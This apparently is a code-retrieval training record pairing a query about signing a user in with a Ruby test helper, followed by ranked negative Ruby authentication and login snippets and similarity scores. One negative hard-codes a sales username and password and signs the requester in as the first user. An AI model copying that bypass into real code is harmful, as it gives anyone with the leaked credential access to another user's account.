mpc_file.add_mpc_project(mpc_obj)\n\n unless self.combined_lib?\n if self.needs_stub?\n mpc_obj = create_stub_comp\n mpc_file.add_mpc_project(mpc_obj)\n end\n\n mpc_obj = create_lem_comp\n mpc_file.add_mpc_project(mpc_obj)\n\n mpc_obj = create_svnt_comp\n mpc_file.add_mpc_project(mpc_obj)\n end\n\n mpc_obj = create_exec_lib\n mpc_file.add_mpc_project(mpc_obj)\n\n # Until now all components have the above mentioned mpc projects\n # Maybe in the future this must move to interaction specific component handling\n\n @compdef.setup_projects if @compdef\n\n # handle interaction specific project setup for each (unique)\n # collected transaction type\n interaction_types.each do |int_type|\n handle_interaction_setup(int_type)\n end\n end",
"def c_generate_comment_header\nputs <<HERE\n/*\n * This file contains autogenerated routines for dispatching and disassembling\n * MIPS opcodes.\n *\n * The code has been generated by mipsgen.\n *\n * See scripts/mipsgen.rb for the code generator framework.\n * See codegen/cgen.rb for C specific information.\n */\n\nHERE\nend",
"def generate_module_data_from_Puppetfile\n puppetfile_contents = read_puppetfile_with_versions(@options[:puppetfile])\n\n modules = {}\n puppetfile_contents[:modules].each do |name, version|\n modules[name] = version\n $stderr.puts \"Module #{name} has a version of #{version}, it may be deprecated. For more information, visit https://forge.puppet.com/#{name}\".blue if version =~ /999/ and ! @options[:silent]\n end\n\n modules\n end",
"def common_build\n puts \"common_build dir=#{pwd} #{SHOES_TGT_ARCH}\"\n #mkdir_p \"#{TGT_DIR}/ruby\"\n #cp_r \"#{EXT_RUBY}/lib/ruby/#{RUBY_V}\", \"#{TGT_DIR}/ruby/lib\"\n %w[req/ftsearch/lib/* req/rake/lib/*].each do |rdir|\n FileList[rdir].each { |rlib| cp_r rlib, \"#{TGT_DIR}/lib/ruby/#{TGT_RUBY_V}\" }\n end\n %w[req/ftsearch/ext/ftsearchrt req/chipmunk/ext/chipmunk].\n #%w[req/binject/ext/binject_c req/ftsearch/ext/ftsearchrt req/bloopsaphone/ext/bloops req/chipmunk/ext/chipmunk].\n each { |xdir| copy_ext xdir, \"#{TGT_DIR}/lib/ruby/#{TGT_RUBY_V}/#{SHOES_TGT_ARCH}\" }\n\n gdir = \"#{TGT_DIR}/lib/ruby/gems/#{RUBY_V}\"\n {'hpricot' => 'lib', 'sqlite3' => 'lib'}.each do |gemn, xdir|\n #{'hpricot' => 'lib', 'json' => 'lib/json/ext', 'sqlite3' => 'lib'}.each do |gemn, xdir|\n spec = eval(File.read(\"req/#{gemn}/gemspec\"))\n mkdir_p \"#{gdir}/specifications\"\n mkdir_p \"#{gdir}/gems/#{spec.full_name}/lib\"\n FileList[\"req/#{gemn}/lib/*\"].each { |rlib| cp_r rlib, \"#{gdir}/gems/#{spec.full_name}/lib\" }\n mkdir_p \"#{gdir}/gems/#{spec.full_name}/#{xdir}\"\n FileList[\"req/#{gemn}/ext/*\"].each { |elib| copy_ext elib, \"#{gdir}/gems/#{spec.full_name}/#{xdir}\" }\n cp \"req/#{gemn}/gemspec\", \"#{gdir}/specifications/#{spec.full_name}.gemspec\"\n end\n end",
"def gen_header(fp)\n fp.puts(\"/*\")\n fp.puts(\" * Copyright (c) 2015, msyksphinz\")\n fp.puts(\" * All rights reserved.\")\n fp.puts(\" *\")\n fp.puts(\" * Redistribution and use in source and binary forms, with or without\")\n fp.puts(\" * modification, are permitted provided that the following conditions are met:\")\n fp.puts(\" * * Redistributions of source code must retain the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer.\")\n fp.puts(\" * * Redistributions in binary form must reproduce the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer in the\")\n fp.puts(\" * documentation and/or other materials provided with the distribution.\")\n fp.puts(\" * * Neither the name of the msyksphinz nor the\")\n fp.puts(\" * names of its contributors may be used to endorse or promote products\")\n fp.puts(\" * derived from this software without specific prior written permission.\")\n fp.puts(\" *\")\n fp.puts(\" * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\" AND\")\n fp.puts(\" * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\")\n fp.puts(\" * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\")\n fp.puts(\" * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY\")\n fp.puts(\" * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\")\n fp.puts(\" * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\")\n fp.puts(\" * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\")\n fp.puts(\" * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\")\n fp.puts(\" * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\")\n fp.puts(\" * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\")\n fp.puts(\" */\")\n fp.puts(\"\")\n fp.puts(\"/* CAUTION! THIS SOURCE CODE IS GENERATED AUTOMATICALLY. DON'T MODIFY BY HAND. */\")\n fp.puts(\"\")\n fp.puts(\"\")\nend",
"def patch_version; end",
"def update_firmware_pcie_descriptor_with_http_info(moid, firmware_pcie_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FirmwareApi.update_firmware_pcie_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling FirmwareApi.update_firmware_pcie_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/firmware/PcieDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(firmware_pcie_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'FirmwarePcieDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"FirmwareApi.update_firmware_pcie_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FirmwareApi#update_firmware_pcie_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def generate_ofx2_header\n return <<-EOF\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<?OFX OFXHEADER=\"200\" SECURITY=\"NONE\" OLDFILEUID=\"NONE\" NEWFILEUID=\"NONE\" VERSION=\"200\"?>\n EOF\n end",
"def compilesubroutine\n\n end"
] |
[
"0.52315915",
"0.51792353",
"0.5146374",
"0.51327616",
"0.5079716",
"0.5049118",
"0.49810645",
"0.49523193",
"0.49307397",
"0.49055862",
"0.48765934",
"0.4875688",
"0.4871991",
"0.48605093",
"0.48311394",
"0.4815281",
"0.47792965",
"0.47776997",
"0.472742",
"0.4719503",
"0.47169068",
"0.47048578",
"0.46781483",
"0.46736553",
"0.46543378",
"0.46443883",
"0.46327588",
"0.4625948",
"0.46247253",
"0.4622901",
"0.46203363",
"0.4582905",
"0.45767677",
"0.457296",
"0.45542824",
"0.4553946",
"0.45424876",
"0.45328113",
"0.4532158",
"0.45315585",
"0.45263815",
"0.45112166",
"0.4509219",
"0.45043063",
"0.45022467",
"0.4489572",
"0.44839588",
"0.44528076",
"0.44492334",
"0.44453824",
"0.4442458",
"0.44370678",
"0.44323596",
"0.4428692",
"0.44188386",
"0.44156966",
"0.4411141",
"0.44092342",
"0.44091502",
"0.44059315",
"0.4395306",
"0.4391438",
"0.43902084",
"0.4387295",
"0.4383163",
"0.4379116",
"0.43696266",
"0.43636662",
"0.43607527",
"0.43554762",
"0.4354056",
"0.43515158",
"0.43505558",
"0.4349613",
"0.4345463",
"0.4344721",
"0.43332577",
"0.43330172",
"0.43301806",
"0.4323091",
"0.43229878",
"0.43220574",
"0.43096453",
"0.43095002",
"0.4306881",
"0.43007705",
"0.42912257",
"0.42868644",
"0.42852232",
"0.42844123",
"0.4282059",
"0.4279354",
"0.4278376",
"0.42768282",
"0.42757767",
"0.42677566",
"0.42653534",
"0.42635748",
"0.42628852",
"0.4256401"
] |
0.46342248
|
26
|
sign in user with their user credentials abort if the user object is not a hash or is empty
|
def sign_in_user(user)
wait_until {sign_in.visible?}
sign_in.click
enter_credentials(user)
sign_in_button.click
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def submit\n user = User.where(email: email).first\n if user && !user.password.nil? && user.password == password\n user\n else\n errors.add(:base, :invalid_credentials)\n nil\n end\n end",
"def login\n user = User.find_by_email(params[:username])\n if user.nil? || (user && user.authenticate(params[:password]) == false) || user.deleted\n render status: 400, json: nil \n else\n session[:user_id] = user.id\n session[:username] = user.username\n session[:email] = user.email\n session[:verified] = user.verified\n user.last_ip_login = request.remote_ip\n user.save\n render status: 200, json: session\n end\n end",
"def may_signin\n unless signed_in?\n unless (@username and @password) or (Config.username and Config.password)\n raise ArgumentError, \"You have to submit your username and password to sign in Oempro\"\n end\n\n perform :command => \"User.Login\",\n :username => @username || Config.username,\n :password => @password || Config.password,\n :disablecaptcha => true\n\n unless @last_response.success\n raise RuntimeError, @last_response.error_text.join(\"\\n\")\n end\n\n if defined? @session_id\n @session_id = @last_response.session_id\n signed_in?\n else\n Base.session_id = @last_response.session_id\n signed_in?\n end\n end\n\n rescue ArgumentError => message\n puts message\n end",
"def signin_check_credentials\n user = User.find_by!(email: params[:email])\n if user.authenticate(params[:password])\n render json: { notice: :ok, user: user }\n else\n render json: { error: I18n.t('api.errors.invalid_credentials') }, status: 400 # :unauthorized\n end\n end",
"def authenticate!\n user = User.where(email: params[\"email\"]).first\n if user && user.authenticate(params[\"password\"])\n success!(user)\n else\n fail!(\"Could not log in\")\n end \n end",
"def signin_with_hash(hash)\n begin\n JSON.parse(RestClient.get construct_url(\"user/signin_with_hash/#{hash}\"))\n rescue RestClient::BadRequest => e\n @last_error = e.http_body\n @last_error_code = e.http_code\n false\n end\n end",
"def initialize user = { email: nil, password: nil }\n unless user[:email] == nil || user[:password] == nil\n @email = user[:email]\n @password = user[:password]\n login \n end\n end",
"def authenticate\n if session[:account].blank?\n @is_login = false\n reset_session\n render \"login/error\"\n else\n @is_login = true\n @user = User.where( \"account = ?\", session[:account] )[0]\n end\n end",
"def login\n @submitted_credentials = User.new(params)\n\n @user = User.find_by_email(@submitted_credentials.email)\n if @user.nil?\n @submitted_credentials.errors.add(:email, \"is not a associated with a valid user\")\n else\n @submitted_credentials.errors.add(:not_active, \"this account must be activated before use\") if @user.active == false\n @submitted_credentials.errors.add(:password, \"is not valid for the given email\") if not @user.is_users_password?(@submitted_credentials.password)\n end\n \n respond_to do |format|\n if (@submitted_credentials.errors.empty?) \n self.current_user = @user\n format.html { redirect_to(projects_path) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"home\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def check_user_for_loggin\n @user = User.find_by(email: user_params[:email])\n if @user \n if @user.authenticate(user_params[:password])\n session[:user_id] = @user.id\n cookies.encrypted[:user_id] = @user.id\n redirect_to @user\n else\n @current_uri = request.env['PATH_INFO']\n @user = User.new(email: user_params[:email],password: user_params[:password])\n flash[:notice] = \"Wrong email or password\"\n render \"users/new\", :layout => \"signup_login\" \n end\n else \n @current_uri = request.env['PATH_INFO']\n flash[:notice] = \"Wrong email or password\"\n @user = User.new(email: user_params[:email],password: user_params[:password])\n render \"users/new\", :layout => \"signup_login\"\n end\n end",
"def authenticate\n if sesssion[:user_id].nil?\n redirect_to login_path, notice: \"You must log in first.\"\n end\n end",
"def sign_in\n if params[:password] and user = User.find_by_email(params[:email])\n #cipher = Gibberish::AES.new(user.security_token)\n if BCrypt::Password.new(user.encrypted_password) == params[:password]\n token = user.access_tokens.create\n user.save\n msg = { status: STATUS_SUCCESS, token: token.access_token, user: token.user.email, message: SUCCESS_MESSAGE }\n render json: msg\n else\n msg = { status: STATUS_ERROR, message: CREDENTIAL_ERROR_MSG }\n render json: msg\n end\n else\n msg = { status: STATUS_ERROR, message: CREDENTIAL_ERROR_MSG }\n render json: msg\n end\n #TODO\n end",
"def create_from_bookshelf\n @user = User.find_by(email: params[:email]) # Find user by email\n\n if @user && @user.authenticate(params[:password]) # If user exists and is authenticated, log them in by adding their ID to the session hash\n session[:user_id] = @user.id\n redirect_to user_path(@user)\n elsif !@user # If user doesn't exists flash error on signin page\n flash[:alert] = \"We don't have an account associated with that email.\" \n redirect_to signin_path\n else # If password is incorrect flash error on signin page\n flash[:alert] = \"Your password is incorrect - please try again.\" \n redirect_to signin_path\n end\n\n end",
"def sign_in(user)\n if user.kind_of?(String)\n login_as(devise_user_class.find_by_email!(user))\n elsif user.class.name.end_with?('User')\n raise 'user must be persisted' unless user.persisted?\n user.reload\n\n devise_scope = user.class.name.underscore.gsub('/', '_').to_sym\n login_as(user, scope: devise_scope)\n elsif user == false\n true # Do nothing\n else\n raise 'sign_in(user) expected a User or an email String'\n end\n end",
"def authenticate\n begin\n if !session[:user_guid]\n redirect_to(root_path)\n elsif session[:user_guid] != User.find_by(id: session[:user_id].to_i).guid\n redirect_to(logout_user_path)\n end\n rescue\n redirect_to(logout_user_path)\n end\n end",
"def sign_in_user\n \tresult = {success: false, status_code: 403, message:\"Unprocessable Entity\"}\n\n \tunless params[:email].blank? && params[:password].blank?\n \t\tuser = User.find_for_authentication(email: params[:email])\n\n \t\tif user && user.active == true\n \t\t\tif user.valid_password?(params[:password])\n \t\t\t\tresult = {\n success: true,\n status_code: 200,\n user_name: user.name_with_surname,\n user_email: user.email,\n token: user.token_pass,\n code: user.rol.code\n }\n \t\t\tend\n else\n result[:status_code] = 401\n result[:message] = 'Unauthorized, The user is inactive.'\n \t\tend\n \tend\n\n \trender json: result.to_json(except:[:created_at, :updated_at, :active])\n end",
"def login\n valid = true\n \n if username.blank?\n self.errors.add_to_base(\"Please enter a user name\")\n valid = false\n end\t\n \n if password.blank?\n self.errors.add_to_base(\"Please enter a password\")\n valid = false\n end\n \t\t\n if valid\n user = User.find(:first, :conditions => [\"username = ? AND password = ?\", username, password])\n \n if user\n self.id = user.id\n self.reload\n else\n self.errors.add_to_base(\"The user name/password was incorrect.\")\n valid = false\n end\n end\n \n valid\n end",
"def login\n if User.find_by(email: user_params[:email]).try(:authenticate, user_params[:password])\n puts \"GOTIT \", user_params[:email], \"dssdf\"\n render json: User.find_by(email: user_params[:email])\n else\n puts \"MISSEDIT \", user_params[:email], \"dssdf\"\n render json: \"false\"\n end\n end",
"def sign_in\n puts \"Enter your '#{Wow::Config.remote}' credentials.\"\n puts \"Don't have an account yet? Create one at #{Wow::Config.remote}/users/sign_up\"\n email = Wow::ApiClient::Config.username || shell.ask(\"\\tEmail: \")\n password = Wow::ApiClient::Config.password || shell.password(\"\\tPassword: \")\n begin\n result = post('users/sign_in', email: email, password: password)\n data = result.data\n @current_user = { id: data[:id], token: data[:authentication_token] }\n rescue RestClient::Unauthorized => e\n raise Wow::Error, e.response.data[:error]\n end\n end",
"def create\n @user = User.find_for_database_authentication(email: params[:email])\n # binding.pry \n return invalid_email unless @user\n\t\n if @user.valid_password?(params[:password])\n sign_in :user, @user\n render json: @user, serializer: Api::SessionSerializer, root: nil\n \n else\n invalid_password\n end\n end",
"def authenticate!\n if params[:user]\n user = User.find_by(email: params[:user][:user_name])\n if user and user.local? and user.valid_password?(params[:user][:password])\n success!(user)\n else\n fail\n end\n elsif auth\n user = User.find_by(email: auth.credentials.first)\n if user and user.local? and user.valid_password?(auth.credentials[1])\n success!(user)\n else\n fail\n end\n else\n fail\n end\n end",
"def sign_in\n conditions = user_params.dup\n password = conditions.delete(:password)\n @user = User.find_first_by_auth_conditions(conditions)\n\n if @user.valid_password?(password)\n @user.generate_auth_token\n @user.update_attributes! sign_in_count: @user.sign_in_count + 1\n respond_with @user\n else\n render nothing: true, status: :unauthorized\n end\n end",
"def create\n @user = User.find_by_credentials(params[:user][:email],params[:user][:password])\n\n if @user.nil?\n flash.now[:errors] = [\"incorrect email/password combination\"]\n render :log_in\n else\n @user.reset_session_token!\n session[:session_token] = @user.session_token\n # fail\n redirect_to user_url(@user)\n end\n end",
"def authenticate_user\n render_403 'Invalid user.' if @user.blank? || !@user.active?\n end",
"def authenticate_user_with_user_name\n username = \"StripPals!_Sales\"\n password = \"Grassdale5759!\"\n if params[:user][:email] == username && params[:user][:password] == password\n sign_in(:user, User.first)\n redirect_to game_index_path\n end\n #sign_in(:user, User.first)\n end",
"def authenticate_user\n if session[:user_id].blank?\n redirect_to root_path\n end\n end",
"def create\n @user = User.where_omniauth(auth_hash)\n sign_in @user\n redirect_to root_url, alert: \"You have been signed in successfully.\"\n end",
"def create\n if user = User.authenticate_with_credentials(params[:email], params[:password])\n session[:user_id] = user.id\n redirect_to :root\n else\n @error_login='Invalid Username/password!'\n render :new, alert: @error_login\n end\n end",
"def authenticate(user, password, account)\n user == @user &&\n (password.nil? || password == @password) &&\n (account.nil? || account == @account)\n end",
"def valid_user?(username, password)\n user_obj = User.find_by(username: username).try(:authenticate, password)\n if !user_obj \n raise 'Username or password is invalid'\n end\n user_obj\n end",
"def signin_with_invalid_email(user)\n\n\tfill_in \"Email\",\twith: \"bogusemail@example.net\"\n\tfill_in \"Password\",\twith: user.password\t\n\tclick_button \"Sign in\"\n\t\nend",
"def attempt_signin(user_params)\n current_account.user_sessions.create(user_params)\n end",
"def validate_login(username, password)\n user = nil\n begin\n user = @users.find_one(_id: username)\n # you will need to retrieve right document from the users collection.\n p 'This space intentionally left blank.'\n rescue\n p 'Unable to query database for user'\n end\n\n if user.nil?\n p 'User not in database'\n return nil\n end\n\n salt = user['password'].split(',')[1]\n\n if user['password'] != make_pw_hash(password, salt)\n p 'user password is not a match'\n return nil\n end\n # Looks good\n user\n end",
"def create\n user_params = params.require(:user).permit(:email, :password_digest)\n # confirm email & password combo is correct\n @user = User.confirm(user_params)\n if @user\n login(@user)\n flash[:notice] = \"You are now logged in.\"\n redirect_to @user\n #redirect_to user_path(@user.id)\n else\n flash[:error] = \"Incorrect email or password. Try again\"\n redirect_to login_path\n end\n end",
"def authenticate_user!\n if current_user.id != @user.id\n redirect_back(fallback_location: root_path)\n end\n end",
"def validate_user\n \tauthorized_user = nil\n @user = User.new(user_sign_in_params)\n\n if @user.status == \"Active\"\n puts \"user : #{@user.inspect}\"\n\n u = User.where(:email => @user.email).first\n # puts \"user_extracted : #{u.inspect}\"\n\n if u.blank?\n flash[:notice] = \"user with email #{@user.email} doesnot exist\"\n else\n d_pass = decrypt(u.password)\n # puts \"#{d_pass}\"\n if d_pass == @user.password\n if u.is_first_logged_in\n if u.is_super_user\n @user = User.find(u.id)\n @user.last_logged_in = DateTime.now.utc\n if @user.is_first_logged_in == false\n @user.is_first_logged_in = true\n end\n @user.save\n authorized_user = @user\n elsif u.is_owner\n @user = User.find(u.id)\n @user.last_logged_in = DateTime.now.utc\n if @user.is_first_logged_in == false\n @user.is_first_logged_in = true\n end\n @user.save\n authorized_user = @user\n else\n flash[:notice] = \"User cannot log in !! only admin/owner can\"\n end\n else\n \tu.is_first_logged_in = true\n flash[:notice] = \"confirm email\"\n end\n else\n flash[:notice] = \"Incorrect password\"\n \n end\n end\n else\n flash[:notice] = \"User has been deleted\"\n end\n if authorized_user\n \t# TODO: mark user as logged in\n \tsession[:user_id] = authorized_user.id\n \tsession[:email] = authorized_user.email\n \t\n\t flash[:notice] = \"You are now logged in.\"\n\t redirect_to(:controller => 'home',:action => 'index')\n else\n \t@user.failed_attempts += 1\n @user.save\n render('login')\n end\n end",
"def sign_in\n user = User.where(email: params[:email]).first\n return render_invalid_auth unless user && user.valid_password?(params[:password])\n @current_user = user\n render json: slice_token(valid_token), status: :ok\n end",
"def create\n # super\n params[:user] = params[:user_session] if params[:user_session]\n resource = User.find_for_database_authentication(:email => params[:user][:email])\n return invalid_login_attempt unless resource\n if resource.valid_password?(params[:user][:password])\n sign_in(resource_name, resource)\n # render :json => {result: true, content: '登陆成功'}\n redirect_to '/', notice: '登陆成功.'\n return\n end\n invalid_login_attempt\n end",
"def sign_in\n if params[:email].blank?\n render json: { message: \"Email can't be blank!\" }\n else\n user = User.find_by_email(params[:email])\n if user.present? && user.valid_password?(params[:password])\n image_url = \"\"\n image_url = url_for(user.profile_photo) if user.profile_photo.attached?\n render json: { email: user.email, first_name: user.first_name, last_name: user.last_name, profile_photo: image_url, \"UUID\" => user.id, \"Authentication\" => user.authentication_token }, status: 200\n else\n render json: { message: \"No Email and Password matching that account were found\" }, status: 400\n end\n end\n rescue StandardError => e # rescue if any exception occurr\n render json: { message: \"Error: Something went wrong... \" }, status: 400\n end",
"def sign_in_user(auth)\n\t\tuser = User.from_omniauth(auth)\n\t\tif(user.persisted?)\n\t\t\tsign_in_and_redirect user\n\t\telse\n\t\t\tredirect_to new_user_session_path, alert: t('devise.omniauth.sign_in_error')\n\t\tend\n\tend",
"def create\n @user = User.find_by(email: params[:session][:email])\n #@user = User.find_by(password_digest: params[:session][:password_digest])\n @user && @user.authenticate(params[:session][:password])\n if @user\n log_in(@user)\n flash[:success] = 'Log in successful.'\n redirect_to @user #first problem identified#\n else\n flash.now[:danger] = 'The user id you entered does not exist.'\n render 'new'\n #render html:'<strong>HTML String</strong>'\n end\n end",
"def login\n @user = User.where(email: params[:user][:email]).first\n\n if @user.present? && @user.authenticate(params[:user][:password])\n session[:user_id] = @user.id\n render status: 200, notice: \"Signed in successfully\"\n else\n render status: 401, alert: \"Error signing in\"\n end\n end",
"def authenticate_user\n redirect_to login_path unless logged_in_user?\n end",
"def authenticate_signin\n\t Client.authenticate(params[:email], params[:password]) || render_unauthorized\n\t end",
"def authenticate_user!\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n session = Session.active_sessions.find_by_id(request.headers['sid'])\n if session.nil? || session.utoken != request.headers['utoken']\n render_error_invalid_token and return\n end\n else\n render_error_user_not_signed_in and return\n end\n end",
"def signin\n return set_session_user_id!(nil, 'Введите email и пароль.') { render :signin_new } if params_valid?(:signin)\n ldap_result = LdapService.new.auth(params[:email], params[:password])\n return set_session_user_id!(nil, 'Нет такого пользователя.') { render :signin_new } if ldap_result.blank?\n user = User.find_by(ldap_id: ldap_result[:ldap_id])\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.present?\n user = User.new(ldap_result)\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.save\n set_session_user_id!(nil, 'Возникли проблемы. Попробуйте еще раз.') { render :signin_new }\n end",
"def create\n session_params = params.permit(:email, :password)\n user = User.confirm(session_params)\n if user\n login(user)\n redirect_to current_user\n\n else\n flash.now[:error] = \"Something went wrong! Invalid email/password combination\"\n redirect_to signin_path \n end\n end",
"def valid_signin(user)\n fill_in \"Email\", with: user.email\n fill_in \"Password\", with: user.password\n click_button \"Sign in\"\nend",
"def login\n user = User.find_by_email(params[:email])\n\n if user && user.valid_password?(params[:password])\n expose user, serializer: CompactUserSerializer\n else\n error! :invalid_resource, user.try(:errors),\n metadata: { error_description: \"Invalid login information.\" }\n end\n end",
"def sign_in(_user = nil)\n expect(session[:user_id]).to be_nil\n @user = create(:user)\n @account = @user.account\n session[:user_id] = @user.id\n expect(session[:user_id]).not_to be_nil\n end",
"def sign_in_as(user, password)\n post login_path, { sessions: {email: user.email, password: password} } # OPL => https://stackoverflow.com/questions/43850509/undefined-method-for-nilnilclass-error-while-submitting-form-and-rails-te\n end",
"def create\n resource = User.find_for_database_authentication(email: params[:user][:email])\n return invalid_login_attempt unless resource\n\n if resource.valid_password?(params[:user][:password])\n sign_in :user, resource\n return render json: { success: \"sucesso\" }, status: 200\n end\n invalid_login_attempt\n end",
"def login\n @user = User.find_by(email: params[:email])\n if @user\n if @user.authenticate(params[:password])\n render json: @user, serializer: CurrentUserSerializer\n else\n @error = {error: \"Email and/or password does not exist, please try again\"}\n render json: @error, status: 403\n end\n else\n @error = {error: \"Email and/or password does not exist, please try again\"}\n render json: @error, status: 403\n end\n end",
"def signIn\n @user = User.find_by_uname(params[:uname])\n if @user == nil || !@user.authenticate(params[:uname], params[:password])\n redirect_to :action => \"login\", :notice => \"Unable to log in to the system. Please check your credentials\"\n elsif @user.authenticate(params[:uname], params[:password])\n session[:current_user_id] = @user.id\n redirect_to @user\n end\n\n end",
"def authenticate_user!\n if user_signed_in?\n if @current_user.stato != 'confermato'\n signed_out = (Devise.sign_out_all_scopes ? sign_out : sign_out(resource_name))\n #cancello sessioni di openweb\n if signed_out\n session.keys.each{ |chiave_sessione|\n next if chiave_sessione == \"_csrf_token\"\n session.delete(chiave_sessione.to_sym)\n }\n messaggio = \"Utente non confermato dall'amministratore\"\n redirect_to auth_hub.new_user_session_path, notice: messaggio\n return\n end\n end\n \n return true\n else\n messaggio = nil\n #controllo se arrivo da form di login\n if request.post? and !params['user'].blank?\n @current_user = warden.authenticate!(:scope => :user)\n #controllo se lo stato è confermato\n if @current_user.stato == 'confermato'\n return true\n else\n signed_out = (Devise.sign_out_all_scopes ? sign_out : sign_out(resource_name))\n #cancello sessioni di openweb\n if signed_out\n session.keys.each{ |chiave_sessione|\n next if chiave_sessione == \"_csrf_token\"\n session.delete(chiave_sessione.to_sym)\n }\n messaggio = \"Utente non confermato dall'amministratore\"\n end\n end\n end\n messaggio ||= \"Si prega di accedere per vedere la pagina!\"\n redirect_to auth_hub.new_user_session_path, notice: messaggio\n end\n end",
"def authenticate!\n username_password_hash = username_password\n \n username = username_password_hash['username']\n password = username_password_hash['password']\n\n user = User.find_by_email(username)\n if user.nil? || user.password != password\n fail! :message => \"strategies.password.failed\"\n else\n success! user\n end\n end",
"def authenticate(username_or_email, password)\n user = PublicEarth::Db::User.new\n if username_or_email.blank?\n user.errors.add_to_base(\"NO_USERNAME\")\n elsif password.blank?\n user.errors.add_to_base(\"NO_PASSWORD\")\n else\n existing = find_by_username_or_email(username_or_email)\n if existing\n if active?(existing.id)\n begin\n user.attributes = one.authenticate(username_or_email, password)\n user.authenticated = true\n rescue\n user.errors.add(:username, \"INVALID_PASSWORD\")\n end\n else\n user.errors.add_to_base(\"UNCONFIRMED\")\n end\n else\n user.errors.add_to_base(\"INVALID_ACCOUNT\")\n end\n end\n user\n end",
"def my_sign_in(user)\n password = user.password || \"password\"\n post_via_redirect user_session_path, user: {email: user.email, password: password}\n end",
"def login\n\n=begin\n :: Expected Params ::\n\n Constants::REQUEST_PARAM_USERNAME => Username\n Constants::REQUEST_PARAM_USERPASSWORD => UserPassword\n\n=end\n\n # Look up for User in database\n find_user\n\n if @user\n @user.signin!(request)\n\n render json: {status: status_code(:ok), message: '', data: @user.as_signin_json}\n \n end\n\n end",
"def login\n user = User.find_by_email(params[:user][:email])\n if user == nil\n flash[:errors] = [\"Email not found!\"]\n redirect_to :back\n else\n if user.authenticate(params[:user][:password])\n session[:user_id] = user.id\n redirect_to '/channels/main'\n else\n flash[:errors] = [\"Password does not match!\"]\n redirect_to :back\n end\n end\n end",
"def create\n # refactor this\n user = User.find_by(username: params[:session][:username_or_email].downcase) ||\n User.find_by(email: params[:session][:username_or_email].downcase)\n if authenticated_successfully?(user)\n login(user)\n redirect_to(session[:intended_url] || root_path)\n else\n flash.now[:danger] = \"Hmm... #{$SITE_TITLE} couldn't authenicate your account with those credentials.\"\n render 'new'\n end\n end",
"def create\n # byebug\n user = User.find_by(email: user_params[:email])\n if user && user.authenticate(user_params[:password])\n # save the user's id into the session\n session[:user_id] = user.id\n #redirect to the show page\n redirect_to root_url\n else\n #there was an error logging the user in\n flash[:danger] = \"Invalid email/password combination\"\n render :new \n end\n end",
"def create\n user = User.find_by(email: login_params[:email])\n if user && user.authenticate(login_params[:password])\n session[:user_id] = user.id\n render json: { logged_in: true, user: UserSerializer.new(user) }, status: 200\n else\n \n render json: {errors: ['invalid email or password']}, status: 401\n end\n end",
"def login_user(email, clean_password)\n user_data = User.find_by_email email\n return false unless user_data\n password = user_data.password\n return false unless password == hash_str(clean_password)\n return user_data\n end",
"def create\n @user = User.find_by_credentials(params[:user][:email], params[:user][:password])\n if @user\n login_in_user!(@user)\n #because it's a show, you want to pass a user (extract the id)\n redirect_to user_url(@user)\n else\n flash.now[:errors] << ['Invalid login credentials']\n render :new\n end\n end",
